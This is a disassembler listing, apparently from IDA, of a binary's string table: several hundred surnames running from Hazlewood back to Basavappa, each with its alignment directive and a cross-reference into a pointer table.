aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0B0o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0ACo
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0A8o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E0A4o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E0A0o
		align 10h
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E09Co
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E098o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E094o
		align 10h
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E090o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E08Co
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E088o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E084o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E080o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E07Co
aHand		db 'Hand',0             ; DATA XREF: ___:0042E078o
		align 10h
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E074o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E070o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E06Co
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E068o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E064o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E060o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E05Co
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E058o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E054o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E050o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E04Co
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E048o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E044o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E040o
		align 10h
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E03Co
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E038o
		align 10h
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E034o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E030o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E02Co
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E028o
		align 10h
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E024o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E020o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E01Co
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E018o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E014o
		align 10h
aGood		db 'Good',0             ; DATA XREF: ___:0042E010o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E00Co
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E008o
		align 10h
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E004o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E000o
		align 10h
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DFFCo
aGist		db 'Gist',0             ; DATA XREF: ___:0042DFF8o
		align 10h
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFF4o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFF0o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFECo
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFE8o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFE4o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFE0o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFD8o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFD0o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFC8o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFC4o
		align 10h
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFC0o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFBCo
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFB8o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFB4o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFB0o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFACo
		align 10h
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFA8o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DFA4o
		align 10h
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DFA0o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DF9Co
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DF98o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF94o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF90o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF8Co
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF88o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF84o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF80o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF7Co
		align 10h
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF78o
		align 10h
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF74o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF70o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF6Co
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF68o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF64o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF60o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF5Co
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF58o
		align 10h
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF54o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF50o
		align 10h
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF4Co
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF48o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF44o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF40o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF3Co
		align 10h
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF38o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF34o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF30o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF2Co
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF28o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF24o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF20o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF1Co
		align 10h
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF18o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF14o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF10o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF0Co
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF08o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DF04o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DF00o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DEFCo
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DEF8o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEF4o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEF0o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEECo
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEE8o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEE4o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DEE0o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DEDCo
		align 10h
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DED8o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DED4o
		align 10h
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DED0o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DECCo
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DEC8o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DEC4o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEC0o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEBCo
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEB8o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEB4o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEB0o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEACo
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEA8o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DEA4o
		align 10h
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DEA0o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DE9Co
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DE98o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE94o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE90o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE8Co
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE88o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE84o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE80o
		align 10h
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE7Co
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE78o
		align 10h
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE74o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE70o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE6Co
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE68o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE64o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE60o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE5Co
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE58o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE54o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE50o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE4Co
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE48o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE44o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE40o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE3Co
		align 10h
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE38o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE34o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE30o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE2Co
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE28o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE24o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE20o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE1Co
		align 10h
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE18o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE14o
		align 10h
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE10o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE0Co
		align 10h
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE08o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DE04o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE00o
		align 10h
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DDFCo
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DDF8o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDF4o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDF0o
		align 10h
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDECo
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDE8o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDE4o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE0o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDDCo
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDD8o
		align 10h
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDD4o
aDavid		db 'David',0            ; DATA XREF: ___:0042DDD0o
		align 10h
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDCCo
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDC8o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDC4o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC0o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDBCo
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDB8o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDB4o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDB0o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDACo
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDA8o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DDA4o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DDA0o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DD9Co
		align 10h
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DD98o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD94o
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD90o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD8Co
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD88o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD84o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD80o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD7Co
		align 10h
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD78o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD74o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD70o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD6Co
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD68o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD64o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD60o
		align 10h
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD5Co
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD58o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD50o
					; ___:0042DD54o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD4Co
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD48o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD44o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD40o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD3Co
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD38o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD34o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD30o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD2Co
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD28o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD24o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD20o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD1Co
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD18o
		align 10h
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD14o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD10o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD0Co
		align 10h
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD08o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DD04o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DD00o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DCFCo
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DCF8o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCF4o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCF0o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCECo
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCE8o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCE4o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCE0o
		align 10h
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCDCo
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCD8o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCD4o
		align 10h
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCD0o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCCCo
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCC8o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCC4o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCC0o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCBCo
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCB8o
		align 10h
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCB4o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCB0o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCACo
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCA8o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DCA4o
		align 10h
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DCA0o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DC9Co
		align 10h
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DC98o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC94o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC90o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC8Co
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC88o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC84o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC80o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC7Co
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC78o
		align 10h
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC74o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC70o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC6Co
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC68o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC64o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC60o
		align 10h
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC5Co
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC58o
		align 10h
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC54o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC50o
		align 10h
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC4Co
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC48o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC44o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC40o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC3Co
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC38o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC34o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC30o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC2Co
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC28o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC24o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC20o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC1Co
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC18o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC14o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC10o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC0Co
		align 10h
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DC04o
					; ___:0042DC08o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DC00o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DBFCo
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DBF8o
		align 10h
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBF4o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBF0o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBECo
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBE8o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBE4o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBE0o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBDCo
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBD8o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBD4o
		align 10h
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBD0o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBCCo
		align 10h
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBC8o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBC4o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBC0o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBBCo
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBB8o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBB4o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBB0o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBACo
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBA8o
		align 10h
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DBA4o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DBA0o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DB9Co
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DB98o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB94o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB90o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB8Co
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB88o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB84o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB80o
		align 10h
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB7Co
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB78o
		align 10h
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB74o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB70o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB6Co
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB68o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB64o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB60o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB5Co
		align 10h
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB58o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB54o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB50o
		align 10h
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB4Co
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB48o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB44o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB40o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB3Co
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB38o
		align 10h
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB34o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB30o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB2Co
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB28o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB24o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB20o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB1Co
		align 10h
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB18o
		align 10h
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB14o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB10o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB0Co
		align 10h
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB08o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DB04o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DB00o
		align 10h
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DAFCo
		align 10h
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DAF8o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAF4o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAF0o
		align 10h
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAECo
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAE8o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DAE4o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAE0o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DADCo
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAD8o
		align 10h
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DAD4o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAD0o
		align 10h
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DACCo
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAC8o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DAC4o
		align 10h
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAC0o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DABCo
		align 4
